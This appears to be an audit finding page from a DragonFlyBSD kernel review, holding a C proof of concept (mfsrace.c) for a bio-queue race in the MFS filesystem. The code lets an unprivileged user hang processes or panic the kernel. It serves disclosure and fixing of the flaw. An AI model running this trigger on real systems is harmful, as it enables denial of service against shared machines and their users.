โฌข DragonFlyBSD Kernel Audit
DF-3170 / mfsrace.c
โ† back to finding โ†“ download raw
/* DF-3170 โ€” unprivileged stress trigger for the MFS bio-queue race.
 *
 * sys/vfs/mfs/mfs_vfsops.c:
 *   - mfsstrategy() (line 187) inserts bios into mfsp->bio_queue while
 *     holding the BGL (mfs_ops is not D_MPSAFE -> dev_dstrategy get_mplock).
 *   - mfs_start() (lines 452-463) dequeues via bioq_takefirst() under ONLY
 *     crit_enter() โ€” a local-CPU critical section โ€” because mfs_mount set
 *     MNTK_ST_MPSAFE (line 401), so vfs_start() does NOT take the BGL.
 *
 * Producer and consumer share a lockless TAILQ (sys/sys/buf2.h:141-175)
 * with no common lock => cross-CPU corruption of the queue:
 *   - a bio inserted between the consumer's TAILQ_FIRST read and its
 *     TAILQ_REMOVE stores is LOST -> issuing thread sleeps in biowait
 *     forever (unkillable hang);
 *   - TAILQ_REMOVE clobbers bio_act.tqe_prev of an element being
 *     concurrently inserted / leaves tqh_last pointing into a biodone'd
 *     (recyclable) buf -> kernel memory corruption on later inserts.
 *
 * Trigger: plain file I/O on a mounted MFS. Run several copies as an
 * UNPRIVILEGED user; each O_SYNC pwrite forces a synchronous buffer I/O
 * through mfsstrategy on whatever CPU the writer lands on, racing the
 * mfs server thread draining the queue on another CPU.
 *
 * Success criterion: a writer wedges uninterruptibly (ps state biowr,
 * iteration counter frozen) while the mount is idle, and/or the kernel
 * panics with queue-corruption signatures.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <time.h>
#include <errno.h>

int
main(int argc, char **argv)
{
	const char *dir = argc > 1 ? argv[1] : "/mnt/mfs";
	int nfiles = argc > 2 ? atoi(argv[2]) : 3;
	char path[256], buf[512], rbuf[512];
	int fds[8];
	unsigned long iter = 0;
	time_t start = time(NULL);
	int i;

	if (nfiles > 8)
		nfiles = 8;
	memset(buf, 0x41, sizeof(buf));
	for (i = 0; i < nfiles; i++) {
		snprintf(path, sizeof(path), "%s/w%d.%d", dir, (int)getpid(), i);
		fds[i] = open(path, O_CREAT | O_RDWR | O_SYNC | O_TRUNC, 0644);
		if (fds[i] < 0) {
			perror(path);
			exit(1);
		}
	}
	fprintf(stderr, "pid %d hammering %d files in %s\n",
		(int)getpid(), nfiles, dir);
	for (;;) {
		for (i = 0; i < nfiles; i++) {
			if (pwrite(fds[i], buf, sizeof(buf),
				   (off_t)(iter % 2000) * 512) < 0) {
				fprintf(stderr,
				    "write err iter=%lu: %s\n",
				    iter, strerror(errno));
				exit(2);
			}
			if ((iter & 3) == 0) {
				if (pread(fds[i], rbuf, sizeof(rbuf),
					  (off_t)(iter % 2000) * 512) < 0) {
					fprintf(stderr,
					    "read err iter=%lu: %s\n",
					    iter, strerror(errno));
					exit(3);
				}
			}
		}
		iter++;
		if ((iter & 0x3FFFF) == 0) {
			fprintf(stderr, "pid %d: %lu iters, %ld s\n",
			    (int)getpid(), iter,
			    (long)(time(NULL) - start));
		}
	}
}